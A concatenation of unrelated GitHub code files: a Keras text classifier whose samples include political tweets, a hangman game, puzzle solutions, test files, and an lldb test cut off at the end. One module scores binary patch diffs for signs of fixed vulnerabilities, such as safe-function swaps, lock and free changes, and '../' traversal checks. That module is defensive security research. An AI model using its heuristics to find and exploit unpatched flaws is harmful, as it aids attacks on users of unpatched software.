0:\n forceRegenerate = file in args.forceRegenerateFiles\n else:\n forceRegenerate = True\n\n path = os.path.join(subdir, file)\n if file.endswith(\"png\"):\n webpPath = path[:-3] + \"webp\"\n if not os.path.exists(webpPath) or forceRegenerate:\n pngToWebp(path, webpPath)\n elif file.endswith(\"tex\"):\n svgPath = path[:-3] + \"svg\"\n if not os.path.exists(svgPath) or forceRegenerate:\n texToSvg(file, subdir)\n","repo_name":"OmarEmaraDev/squircle","sub_path":"preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"21478131828","text":"import tensorflow as tf\n\nfrom sklearn.utils import shuffle\n\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\n# config \nvocab_size = 1000\nembedding_dim = 16\nmax_length = 100\ntrunc_type='post'\npadding_type='post'\noov_tok = \"\"\ntraining_size = 150\n\n\n# read data\nsentences = []\nlabels = []\n\nf = open('politics', 'r') \nlines = f.readlines() \nfor line in lines:\n sentences.append(line)\n labels.append(1)\nf.close()\n\nf = open('sports', 'r') \nlines = f.readlines() \nfor line in lines:\n sentences.append(line)\n labels.append(0)\nf.close()\n\nprint(len(sentences))\n\n# shuffle\nsentences, labels = shuffle(sentences, labels, random_state=0)\n\n# configure training & testing data\ntraining_sentences = sentences[0:training_size]\ntesting_sentences = sentences[training_size:]\ntraining_labels = labels[0:training_size]\ntesting_labels = labels[training_size:]\n\n\n# tokenizer\ntokenizer = Tokenizer(num_words=vocab_size, oov_token=oov_tok)\ntokenizer.fit_on_texts(training_sentences)\n\nword_index = tokenizer.word_index\n\ntraining_sequences = tokenizer.texts_to_sequences(training_sentences)\ntraining_padded = pad_sequences(training_sequences, maxlen=max_length, padding=padding_type, truncating=trunc_type)\n\ntesting_sequences = tokenizer.texts_to_sequences(testing_sentences)\ntesting_padded = pad_sequences(testing_sequences, maxlen=max_length, padding=padding_type, truncating=trunc_type)\n\n# work with tensorflow 2.x\nimport numpy as np\ntraining_padded = np.array(training_padded)\ntraining_labels = np.array(training_labels)\ntesting_padded = np.array(testing_padded)\ntesting_labels = np.array(testing_labels)\n\n# configure keras network\nmodel = tf.keras.Sequential([\n tf.keras.layers.Embedding(vocab_size, embedding_dim, input_length=max_length),\n tf.keras.layers.GlobalAveragePooling1D(),\n tf.keras.layers.Dense(24, activation='relu'),\n tf.keras.layers.Dense(1, activation='sigmoid')\n])\nmodel.compile(loss='binary_crossentropy',optimizer='adam',metrics=['accuracy'])\n\nmodel.summary()\n\n# train\nnum_epochs = 30\nhistory = model.fit(training_padded, training_labels, epochs=num_epochs, validation_data=(testing_padded, testing_labels), verbose=2)\n\n\n# plot\nimport matplotlib.pyplot as plt\n\n\ndef plot_graphs(history, string):\n plt.plot(history.history[string])\n plt.plot(history.history['val_'+string])\n plt.xlabel(\"Epochs\")\n plt.ylabel(string)\n plt.legend([string, 'val_'+string])\n plt.show()\n \nplot_graphs(history, \"accuracy\")\nplot_graphs(history, \"loss\")\n\nreverse_word_index = dict([(value, key) for (key, value) in word_index.items()])\n\n# wtf\ndef decode_sentence(text):\n return ' '.join([reverse_word_index.get(i, '?') for i in text])\n\nprint(decode_sentence(training_padded[0]))\nprint(training_sentences[2])\nprint(labels[2])\n\n# ?\ne = model.layers[0]\nweights = e.get_weights()[0]\nprint(weights.shape) # shape: (vocab_size, embedding_dim)\n\n# write files\nimport io\n\nout_v = io.open('vecs.tsv', 'w', encoding='utf-8')\nout_m = io.open('meta.tsv', 'w', encoding='utf-8')\nfor word_num in range(1, vocab_size):\n word = reverse_word_index[word_num]\n embeddings = weights[word_num]\n out_m.write(word + \"\\n\")\n out_v.write('\\t'.join([str(x) for x in embeddings]) + \"\\n\")\nout_v.close()\nout_m.close()\n\nsentence = [\"Landing in Wisconsin. Launching big new ship contract!\", \n \"LAW & ORDER!\",\n \"Told that @NYCMayor Bill de Blasio wants to paint the fabled & beautiful Fifth Avenue, right in front of Trump Tower/Tiffany, with a big yellow Black Lives Matter sign. \\“Pigs in a Blanket, Fry ‘Em Like Bacon\\”, referring to killing Police, is their chant. NYC Police are furious!\"]\nsequences = tokenizer.texts_to_sequences(sentence)\npadded = pad_sequences(sequences, maxlen=max_length, padding=padding_type, truncating=trunc_type)\nprint(model.predict(padded))","repo_name":"Fmaj7-dev/paipai","sub_path":"src/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"37578247270","text":"#hangman program\ndef error_Handle_Word():\n bool = True;\n while bool == True:\n userInput = str(input(\"Enter a word: \"))\n count = 0;\n special_count = 0;\n list(userInput)\n lenUserInput = len(userInput)\n #use of ascii to check if input contains only numbers\n for a in range(0, lenUserInput, 1):\n char=userInput[a];\n ascii=ord(char);\n if ascii <97 or ascii >122:\n count = count +1\n if ascii == 32:\n count = count -1\n special_count = special_count +1\n if count == 0 and special_count != lenUserInput:\n\n bool = False;\n return userInput\n\n else:\n print(\"Re-enter valid input\");\n\n\ndef stringPrompt(string):\n arrayString = list(string);\n length= len(arrayString);\n dashArray = []\n for x in range(length):\n dashArray.append(\"_\");\n return arrayString, dashArray\ndef charPrompt():\n bool = True;\n while bool == True:\n guess = str(input(\"enter a letter\"))\n arrayGuess = list(guess)\n length = len(arrayGuess)\n if length == 1:\n ascii=ord(guess);\n if ascii>96 and ascii <123:\n bool = False\n\n return guess\ndef comparison(guess, arrayString, dashArray):\n length = len(arrayString)\n count = 0\n for x in range(length):\n if arrayString[x]==guess:\n dashArray[x] = guess;\n count=count+1\n #False -> did not find char\n if count == 0:\n return False\n #True -> found char\n if count >0:\n return True;\n return null\ndef usedGuess(charGuess):\n return null\ndef main():\n strike_counter = 0\n\n strike_display = []\n usedGuess = []\n string = error_Handle_Word();\n arrayString, dashArray = stringPrompt(string)\n win_length = len(arrayString)\n print(dashArray)\n #add a not winner thing\n print(\"___\\n|\\n|\\n|\")\n while strike_counter < 6 and arrayString != dashArray:\n if strike_counter == 1:\n print(\"___\\n| O\\n|\\n|\");\n elif strike_counter == 2:\n print(\"___\\n| O\\n| |\\n|\")\n elif strike_counter == 3:\n print(\"___\\n| O\\n| \\|\\n|\")\n elif strike_counter == 4:\n print(\"___\\n| O\\n| \\|/\\n|\")\n elif strike_counter == 5:\n print(\"___\\n| O\\n| \\|/\\n| /\")\n\n guess = charPrompt()\n usedGuess.append(guess)\n strike = comparison(guess, arrayString, dashArray)\n if strike == False:\n strike_counter = strike_counter+1\n strike_display.append(\"X\")\n print(\"Used letters: \", usedGuess)\n print(\"Strikes: \", strike_display)\n print(dashArray)\n if strike_counter == 6:\n print(\"___\\n| O\\n| \\|/\\n| /\\\\\")\n print(\"You lose\")\n elif arrayString == dashArray:\n print(\"You win\")\n #if strike == 6 you lose else you are a winner\n\nmain();\n","repo_name":"mmamel/CS160H","sub_path":"assignment_5.py","file_name":"assignment_5.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33350072923","text":"import numpy as np \nimport random as r \nfrom scipy import misc\nimport matplotlib.pyplot as plt\nimport math\nimport os\n\ndef getColor(char):\n\tr = char\n\tg = char*char%256\n\tb = char*char*char%256\n\treturn [r,g,b]\n\nfilename = os.getcwd() + '/codeToImage.py'\nfilename = '/media/dodo/M3NT0R/Privat/Projekte/ticTacToe/tic5.py'\nf1 = open(filename,'r')\ncontent = f1.read()\nf1.close()\n\ncontent = content.replace('\\t',' ')\ncontent = content.split('\\n')\nmaximum = []\nimage = []\nfor element in content:\n\tmaximum.append(len(element))\n\timage.append([])\nmaximum = max(maximum)\n\nfor i in range(len(content)):\n\tcontent[i] = content[i] + (maximum - len(content[i]))*' '\n\nfor i in range(len(content)):\n\ttmp = []\n\tfor char in content[i]:\n\t\ttmp.append(getColor(ord(char)))\n\timage[i] = tmp\n\nimage = misc.toimage(image)\nmisc.imsave('test.png',image)\n","repo_name":"dodonator/metaCode","sub_path":"codeToImage.py","file_name":"codeToImage.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"35965081100","text":"import sys\n\ninput = sys.stdin.readline\n\ns = list(input().rstrip())\nlst = [0]*26\nfor c in s:\n if c.isupper():\n lst[ord(c)-65] +=1\n else:\n lst[ord(c)-97] +=1\n\nmax_ = 0\nans = 0\nfor i in range(len(lst)):\n if lst[i]>max_:\n ans = i\n max_ = lst[i]\n elif lst[i]==max_:\n ans = -2\nprint(chr(ans+65))","repo_name":"hyunkyungju/problem-solving","sub_path":"백준/Bronze/1157. 단어 공부/단어 공부.py","file_name":"단�� 공부.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"36779857891","text":"#plan\n#need to go through the frequencise and pass through the filters which is a list in a list\n#need to figure out way to check with each fiter range and return a count\n\nfrom collections import Counter\n\n\ndef countSignals(frequencies, filterRanges):\n # Write your code here\n store_nums = []\n for ranges in filterRanges:\n for number in frequencies:\n if number in range(ranges[0], ranges[1]):\n \n store_nums.append(number)\n\n \n \n counted_dict= dict(Counter(store_nums))\n \n amount = 0\n \n counted_dict = dict((k, v) for k, v in counted_dict.items() if v == len(filterRanges))\n return (len(counted_dict))\n # if len(filterRanges) in counted_dict.values():\n # print(\"\")\n\n # for freq in counted_dict:\n # print(freq, \"test\")\n # if freq.get() == len(filterRanges):\n \n # amount += 1\n \n # print(amount)","repo_name":"ddelfaus/Practice-Problems","sub_path":"HackerRank/thing2/filteringsingals.py","file_name":"filteringsingals.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"69962019732","text":"import compare.compare\nimport core.score\nimport features.feature\nimport features.function_features.naming_parsing\nimport features.groupby\nfrom features.function_features import naming_parsing\n\n\nimport collections\nimport compare.compare_function\nimport features.function_features.overview_functions\nfrom features.function_features.build_cfg.utils import cfg_info_to_score\nimport features.function_features.changed_constants\nimport core.utils\n\n\ndef score_xref_function_name(feature_type, compare_object, scores, reduce_function, type_of_change=compare.compare.TypesOfChanges.CHANGED, **kwargs):\n for xref_to_look_type_of_change, base_score, pe_index in scores:\n xref_changes = compare_object.get_changed_called_functions(xref_to_look_type_of_change)\n pe_obj = compare_object.objects_to_compare[pe_index].get_pe_obj()\n for added_func in xref_changes:\n function_name = pe_obj.get_function_name(added_func[pe_index][0], False) # TODO: update to short format\n is_match_lock = reduce_function(function_name)\n if is_match_lock:\n change_calls = {\"before\": added_func[compare.compare.OLDEST][1],\n \"after\": added_func[compare.compare.NEWEST][1],\n \"address_before\": added_func[compare.compare.OLDEST][0],\n \"address_after\": added_func[compare.compare.NEWEST][0]\n }\n change_calls.update(kwargs)\n yield core.score.Score(base_score, feature_type,\n [compare_object.objects_to_compare[compare.compare.NEWEST]],\n [compare_object.objects_to_compare[compare.compare.OLDEST]],\n reason=function_name, type_of_change=type_of_change, **change_calls)\n\n\ndef score_mapping_replaced_functions(feature_type, compare_object, base_score, is_functions_are_interesting_replacing\n , **kwargs):\n xref_changes = compare_object.get_changed_called_functions(compare.compare.TypesOfChanges.REMOVED)\n xref_changes = xref_changes.union(compare_object.get_changed_called_functions(compare.compare.TypesOfChanges.ADDED))\n xref_changes = xref_changes.union(compare_object.get_changed_called_functions(compare.compare.TypesOfChanges.CHANGED))\n replaced_functions = detect_replaced_functions(xref_changes)\n new_pe_obj = compare_object.objects_to_compare[compare.compare.NEWEST].get_pe_obj()\n old_pe_obj = compare_object.objects_to_compare[compare.compare.OLDEST].get_pe_obj()\n for before_func, after_func, diff in replaced_functions:\n if before_func[0] is None or after_func[0] is None:\n raise ValueError(\"didn't expect to have mapping with None\")\n\n before_func_name = old_pe_obj[before_func[0]].function_name(True)\n after_func_name = new_pe_obj[after_func[0]].function_name(True)\n\n is_interesting_replacement = is_functions_are_interesting_replacing(old_pe_obj[before_func[0]].function_name(False),\n new_pe_obj[after_func[0]].function_name(False))\n if is_interesting_replacement:\n change_calls = {\"name_before\": before_func_name,\n \"name_after\": after_func_name,\n \"before\": before_func[1],\n \"after\": after_func[1],\n \"diff\": diff,\n \"address_before\": before_func[0],\n \"address_after\": after_func[0]}\n score = base_score\n if type(is_interesting_replacement) == int:\n score = base_score + (is_interesting_replacement / 4)\n\n change_calls.update(kwargs)\n yield core.score.Score(score, feature_type,\n [compare_object.objects_to_compare[compare.compare.NEWEST]],\n [compare_object.objects_to_compare[compare.compare.OLDEST]],\n type_of_change=compare.compare.TypesOfChanges.CHANGED,\n **change_calls)\n\n\ndef detect_replaced_functions(function_calls):\n \"\"\"\n\n :param function_calls: list of tuples ((address old (int), number of xrefs before(int)), (address_new(int), number_of_xrefs (int)))\n :return: list of tuples (function_call, function_call)\n \"\"\"\n added = {}\n removed = {}\n for function_call_before, function_call_after in function_calls:\n before = function_call_before[1]\n after = function_call_after[1]\n diff = after - before\n\n chosen_dict = added\n chosen_call = function_call_after\n if diff < 0:\n chosen_dict = removed\n chosen_call = function_call_before\n\n if diff not in chosen_dict:\n chosen_dict[diff] = []\n\n if chosen_call[0] is None: # no function address\n continue\n\n chosen_dict[diff].append(chosen_call)\n\n swapped = []\n for diff, added_funcs in added.items():\n if diff <= 0: # we're going to ignore no changes or negative change (to reduce double mapping)\n continue\n for added_func in added_funcs:\n replaced_functions = removed.get(-diff, [])\n for old_fun in replaced_functions:\n swapped.append([old_fun, added_func, diff])\n\n return swapped\n\n\n# ################################ Features from known list ###############################################\n\nclass XrefVulnerableFunctions(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"XrefVulnerableFunctions\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 50, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, 20, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.REMOVED, 50, compare.compare.OLDEST)\n ]\n for score in score_xref_function_name(type(self), compare_object, scores,\n naming_parsing.is_name_known_vulnerable_func):\n yield score\n\n\nclass XrefLogicalVulnerableFunctions(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"XrefLogicalVulnerableFunctions\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 50, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, 25, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.REMOVED, 10, compare.compare.OLDEST)\n ]\n for score in score_xref_function_name(type(self), compare_object, scores,\n features.function_features.naming_parsing.is_name_known_logical_vulnerable_func):\n yield score\n\n\nclass LogicalVulnerableFixup(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"LogicalVulnerableFixup\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 40, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, 70, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.REMOVED, 10, compare.compare.OLDEST)\n ]\n\n for score in score_xref_function_name(type(self), compare_object, scores,\n naming_parsing.is_function_is_fixup):\n yield score\n\n\nclass StrSafeFunction(features.feature.SimpleFunctionFeature):\n # https://docs.microsoft.com/en-us/windows/win32/api/strsafe/\n # https://www.defcon.org/images/defcon-18/dc-18-presentations/Oh/DEFCON-18-Oh-Exploit-Spotting.pdf\n METHOD_NAME = \"StrSafeFunction\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 10, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, 30, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.REMOVED, -5, compare.compare.OLDEST)\n ]\n\n for score in score_xref_function_name(type(self), compare_object, scores,\n features.function_features.naming_parsing.is_name_is_strsafe_function):\n yield score\n\n\nclass IntSafeFunctions(features.feature.SimpleFunctionFeature):\n # int_safe_functions should be inline but inline (recommended to the compiler) we might catch that.\n METHOD_NAME = \"IntSafeFunctions\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 15, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, 40, compare.compare.NEWEST),\n ]\n\n # TODO: add overflow/underflow CWE score.\n for score in score_xref_function_name(type(self), compare_object, scores,\n features.function_features.naming_parsing.is_name_is_int_safe_functions):\n yield score\n\n\nclass DeprecatedFunctions(features.feature.SimpleFunctionFeature):\n # https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/jj635743(v=vs.85)\n METHOD_NAME = \"DeprecatedFunctions\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 20, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, -5, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.REMOVED, 30, compare.compare.OLDEST)\n ]\n\n for score in score_xref_function_name(type(self), compare_object, scores,\n features.function_features.naming_parsing.is_function_is_deprecated):\n yield score\n\n# ###################### by parsing the name ############################\n\n\nclass XrefLockFunction(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"XrefLockFunction\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 30, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, 15, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.REMOVED, 5, compare.compare.OLDEST)\n ]\n for score in score_xref_function_name(type(self), compare_object, scores,\n naming_parsing.is_name_related_to_sync,\n relevant_cwes=[411]):\n yield score\n\n\nclass FreeFunctions(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"FreeFunctions\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 20, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, 15, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.REMOVED, 10, compare.compare.OLDEST)\n ]\n\n # TODO: add CWE score.\n for score in score_xref_function_name(type(self), compare_object, scores,\n features.function_features.naming_parsing.is_name_related_memory_free):\n yield score\n\n\nclass AllocFunctions(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"AllocFunctions\"\n\n def __init__(self):\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n scores = [(compare.compare.TypesOfChanges.CHANGED, 20, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.ADDED, 15, compare.compare.NEWEST),\n (compare.compare.TypesOfChanges.REMOVED, 10, compare.compare.OLDEST)\n ]\n\n # TODO: add CWE score.\n for score in score_xref_function_name(type(self), compare_object, scores,\n features.function_features.naming_parsing.is_name_related_memory_allocation):\n yield score\n\n\n# ########################### Mappings #############################################\n\n\nclass ReplacedLogicalFunctions(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"ReplacedLogicalFunctions\"\n\n def __init__(self):\n \"\"\"\n Looks for functions replaced from PathCombine to PathCchCombine\n \"\"\"\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n base_score = 75\n for score in score_mapping_replaced_functions(type(self), compare_object, base_score,\n features.function_features.naming_parsing.replaced_logical_vulnerable_function):\n yield score\n\n\nclass ReplacedVulnerableFunctions(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"ReplacedVulnerableFunctions\"\n\n def __init__(self):\n \"\"\"\n looks for functions such as strcmp to strcmp_s\n \"\"\"\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n base_score = 70\n for score in score_mapping_replaced_functions(type(self), compare_object, base_score,\n features.function_features.naming_parsing.replaced_vulnerable_function):\n yield score\n\n\nclass ReplacedSimilarFunctions(features.feature.SimpleFunctionFeature):\n METHOD_NAME = \"ReplacedSimilarFunctions\"\n\n def __init__(self):\n \"\"\"\n looks for functions with a similar name (not known functions )\n \"\"\"\n super().__init__(type(self).METHOD_NAME, compare.compare.TypesOfChanges.CHANGED)\n\n def _score(self, compare_object):\n base_score = 40\n for score in score_mapping_replaced_functions(type(self), compare_object, base_score,\n features.function_features.naming_parsing.replaced_similar_functions):\n yield score\n \n\nclass DirectoryTraversal(features.feature.FunctionFeature):\n METHOD_NAME = \"DirectoryTraversal\"\n\n def __init__(self):\n number_of_compared_objects = 2\n self.compatible_functions = [\"wcsstr\", \"strstr\", \"StrStrIW\"]\n changes = [compare.compare.TypesOfChanges.CHANGED, compare.compare.TypesOfChanges.ADDED]\n group_by = features.groupby.GroupByChangedFunctions(number_of_compared_objects,\n get_changes=lambda x: x.get_multiple_changes(changes))\n super().__init__(type(self).METHOD_NAME, number_of_compared_objects, group_by)\n\n def is_compatible_func(self, found_function_name):\n for referenced_func_name in self.compatible_functions:\n if features.function_features.naming_parsing.compare_names(found_function_name, referenced_func_name, False):\n return True\n return False\n\n def _score(self, compare_object):\n func_obj = compare_object.objects_to_compare[compare.compare.NEWEST]\n if func_obj is None:\n return\n\n called_funcs = func_obj.get_arguments_called_functions()\n for ea, function_calls in called_funcs.items():\n for function_call in function_calls:\n isEquals = self.is_compatible_func(function_call['name'])\n if isEquals:\n args = features.function_features.changed_constants.extract_const_from_function_call(function_call)\n for arg in args:\n if arg is not None and (\"../\" == arg or \"..\\\\\"==arg):\n yield core.score.Score(80, type(self), [func_obj], type_of_change=compare_object.type_of_change, arg=\"../\", args=args)\n else:\n yield core.score.Score(5, type(self), [func_obj], type_of_change=compare_object.type_of_change, args=args)\n","repo_name":"SafeBreach-Labs/Back2TheFuture","sub_path":"features/function_features/xrefs.py","file_name":"xrefs.py","file_ext":"py","file_size_in_byte":16863,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"66"}
+{"seq_id":"18647356133","text":"rom = list(map(str.rstrip, open('d8.txt')))\n\ndef run(rom, patch):\n pc = 0\n a = 0\n nsteps = 0\n while pc < len(rom) and nsteps < len(rom):\n nsteps += 1\n op, arg = rom[pc].split(' '); arg = int(arg)\n if pc == patch:\n if op == 'jmp': op = 'nop'\n elif op == 'nop': op = 'jmp'\n # print(f'{pc:4} ({a:3}): {op} {arg}')\n if op == 'acc':\n a += arg\n pc += 1\n elif op == 'jmp':\n pc += arg\n continue\n elif op == 'nop':\n pc += 1\n\n return pc == len(rom), a\n\nfor cur_pc, line in enumerate(rom):\n terminated, a = run(rom, patch=cur_pc)\n if terminated:\n print(f'found {cur_pc} {a}')\n break","repo_name":"jogloran/advent-of-code-2020","sub_path":"d8b.py","file_name":"d8b.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"5747337247","text":"import functools\nimport inspect\n\nimport cocotb\n\nfrom pyuvm import uvm_root\n\n\ndef test(\n timeout_time=None,\n timeout_unit=\"step\",\n expect_fail=False,\n expect_error=(),\n skip=False,\n stage=None,\n):\n version_info = tuple(int(n) for n in cocotb.__version__.split(\".\"))\n if version_info >= (1, 7, 0) and stage is None:\n stage = 0\n\n def decorator(cls):\n\n # create cocotb.test object to be picked up RegressionManager\n @cocotb.test(\n timeout_time=timeout_time,\n timeout_unit=timeout_unit,\n expect_fail=expect_fail,\n expect_error=expect_error,\n skip=skip,\n stage=stage,\n )\n @functools.wraps(cls)\n async def test(_):\n await uvm_root().run_test(cls)\n\n # adds cocotb.test object to caller's module\n caller_frame = inspect.stack()[1]\n caller_module = inspect.getmodule(caller_frame[0])\n setattr(caller_module, f\"test_{test._id}\", test)\n\n # returns decorator class unmodified\n return cls\n\n return decorator\n","repo_name":"georgereuben/RTL-Project","sub_path":"pyuvm-master/pyuvm/extension_classes.py","file_name":"extension_classes.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"27392177532","text":"from . import ProcessFunctionsTestCase\nfrom src.longhorn.config import TestingConfig\nfrom src.longhorn.process.process_functions import Process\n\n\nclass CreateProcessTestCase(ProcessFunctionsTestCase):\n def test_create_process_creates_process(self):\n test_process = Process(\n self.event_text,\n TestingConfig.PROCESS_FILE,\n TestingConfig.PROCESS_TTL,\n _ut=True,\n )\n test_process.create_process()\n with open(TestingConfig.PROCESS_FILE, \"rt\") as process_file:\n self.assertIn(test_process.process_id, process_file.read())\n test_process.delete_process()\n","repo_name":"WhaleJ84/longhorn","sub_path":"test/test_process/test_create_process.py","file_name":"test_create_process.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"35790812071","text":"\"\"\"IRC log file format definitions.\"\"\"\n# pylint: disable=invalid-name,line-too-long\n\n\nfrom __future__ import (absolute_import, division,\n print_function, unicode_literals)\nfrom builtins import *\n\nimport re\n\n\ndef c(regex):\n \"\"\"A convenience alias for anchoring and compiling *regex*.\"\"\"\n return re.compile(r'^{}$'.format(regex))\n\n\n#: A dict mapping supported formats to their rules.\nformats = {\n 'omnipresence': {\n 'line': c(r'\\[(?P.*?)\\] (?P.*)'),\n 'timestamp': '%d-%b-%Y %H:%M:%S',\n 'privmsg': c(r'<(?P.*?)> (?P.*)'),\n 'action': c(r'\\* (?P.*?) (?P.*)'),\n 'notice': c(r'-(?P.*?)- (?P.*)'),\n 'nick': c(r'\\*\\*\\* (?P.*?) is now known as (?P.*?)'),\n 'join': c(r'\\*\\*\\* (?P.*?) <(?P.*?)> has joined (?P.*?)'),\n 'part': c(r'\\*\\*\\* (?P.*?) <(?P.*?)> has left (?P.*?)'),\n 'quit': c(r'\\*\\*\\* (?P.*?) <(?P.*?)> has quit IRC(?: \\((?P.*?)\\))?'),\n 'kick': c(r'\\*\\*\\* (?P.*?) was kicked by (?P.*?)(?: \\((?P.*?)\\))?'),\n 'topic': c(r'\\*\\*\\* (?P.*?) changes topic to (?P.*?)'),\n 'mode': c(r'\\*\\*\\* (?P.*?) sets mode: (?P.*?)'),\n },\n}\n","repo_name":"kxz/interstat","sub_path":"interstat/formats.py","file_name":"formats.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"21809066465","text":"#So a generator function returns an generator object that is iterable, i.e., can be used as an Iterators .\n\ndef giveNumbers():\n yield 1\n yield 2\n yield 3\n yield 4\n\n\nfor x in giveNumbers():\n print(x)","repo_name":"halfozone007/repoA","sub_path":"PythonProjects/QuickStart/6Generator.py","file_name":"6Generator.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"11618458689","text":"\"\"\"\nTest lldb logging. This test just makes sure logging doesn't crash, and produces some output.\n\"\"\"\n\n\nimport os\nimport lldb\nfrom lldbsuite.test.decorators import *\nfrom lldbsuite.test.lldbtest import *\nfrom lldbsuite.test import lldbutil\n\n\nclass LogTestCase(TestBase):\n NO_DEBUG_INFO_TESTCASE = True\n\n def setUp(self):\n super(LogTestCase, self).setUp()\n self.log_file = self.getBuildArtifact(\"log-file.txt\")\n\n def test_file_writing(self):\n self.build()\n exe = self.getBuildArtifact(\"a.out\")\n self.expect(\"file \" + exe, patterns=[\"Current executable set to .*a.out\"])\n\n if os.path.exists(self.log_file):\n os.remove(self.log_file)\n\n # By default, Debugger::EnableLog() will set log options to\n # PREPEND_THREAD_NAME + OPTION_THREADSAFE. We don't want the\n # threadnames here, so we enable just threadsafe (-t).\n self.runCmd(\"log enable -f '%s' lldb commands\" % (self.log_file))\n\n self.runCmd(\"command alias bp breakpoint\")\n\n self.runCmd(\"bp set -n main\")\n\n self.runCmd(\"bp l\")\n\n self.runCmd(\"log disable lldb\")\n\n self.assertTrue(os.path.isfile(self.log_file))\n\n with open(self.log_file, \"r\") as f:\n log_lines = f.read()\n os.remove(self.log_file)\n\n self.assertGreater(len(log_lines), 0, \"Something was written to the log file.\")\n\n # Check that lldb truncates its log files\n def test_log_truncate(self):\n # put something in our log file\n with open(self.log_file, \"w\") as f:\n for i in range(1, 1000):\n f.write(\"bacon\\n\")\n\n self.runCmd(\"log enable -f '%s' lldb commands\" % self.log_file)\n self.runCmd(\"help log\")\n self.runCmd(\"log disable lldb\")\n\n self.assertTrue(os.path.isfile(self.log_file))\n with open(self.log_file, \"r\") as f:\n contents = f.read()\n\n # check that it got removed\n self.assertEquals(contents.find(\"bacon\"), -1)\n\n # Check that lldb can append to a log file\n def test_log_append(self):\n # put something in our log file\n with open(self.log_file, \"w\") as f:\n f.write(\"bacon\\n\")\n\n self.runCmd(\"log 